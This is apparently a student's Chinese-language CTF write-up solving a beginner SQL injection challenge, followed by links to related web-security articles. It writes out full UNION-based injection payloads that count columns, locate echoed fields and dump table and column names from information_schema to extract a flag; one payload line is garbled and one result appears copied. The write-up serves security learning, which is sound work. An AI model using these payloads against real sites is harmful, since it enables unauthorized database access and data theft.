CTF-web题之简单的SQL注入

简介: 这两天闲着没事报名了学校信安和网安组织的网络安全大赛,靠着仅有的一点web知识做了几道web题,现在记录一下其中一道sql注入题的解题思路首先题面如下

这两天闲着没事报名了学校信安和网安组织的网络安全大赛,靠着仅有的一点web知识做了几道web题,现在记录一下其中一道sql注入题的解题思路

首先题面如下525264ffb58641c98bb09144792e1132.png

首先通过语句判断有多少个字段

1' or 1=1 order by 4 #
1' or 1=1 order by 3 #

order by是按by后面的数字或字段名所在列进行排序,如果结果集只有3列,order by4则会报错,故可以用来判断结果集的字段数

第一条语句报错,第二条语句返回

admin
5ef582761f2cafceebdfc8c9ac259cf0

可以得出改表中有三个字段,而显示结果只有两个,且可以看出显示的应该是用户名和密码

之所以要查出有多少个字段,是为了判断结果集中有多少信息(因为页面不会把所有查到的信息显示出来),且我们union select要求两次查询的结果集拥有相同的列数

通过union select确定回显在页面的是哪几行的数据

-1' un-1' union select 1,2,3 #

select 1,2,3(可以是其他数字或字符等)会返回一行与select内容对应的结果,且字段名也保持相同

以下为select 2,3,4返回的结果集

95c4c5f3ff9d48948d6aed6069e06847.png

union select 1,2,3会返回一行数据,我们即可以通过页面上现实的具体数字来判断页面回显的是哪几行的数据,


uion前需要写一个结果集中不存在的数据(随便猜一下就行),因为如果填写admin的话,会查出来一行结果,而union select是将两次查询的结果集合并成(列数不变,增加行数),在页面只显示一行结果的情况下,则无法看到select 1,2,3返回的结果上述结果返回

2,3

说明页面回显的是结果集中第二三行的数据

那么我们可以通过union select在第二三个数字的位置换成一些函数来获取信息,如:

-1' union select 1,2,database() #
2,babysql

显然babysql就是正在查询的数据库名

数据库名后则可以查数据库中存在的数据表

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql')#

group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来

则返回

2
user,flag

有表名后即可查表中的

有表名后即可查表中的字段名,显然flag藏在flag表中

-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema='babysql' and table_name='flag')#

则返回

2
user,flag

最后查询flag表中字段名为flag的结果,即可得到flag

-1' union select 1,2,(select group_concat(flag) from flag)#

相关文章
|
20天前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
106 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
55 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
85 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
41 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
37 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
73 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
38 5
|
2月前
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
206 1
|
2月前
|
SQL 安全 前端开发
Web安全-SQL注入漏洞
Web安全-SQL注入漏洞
21 0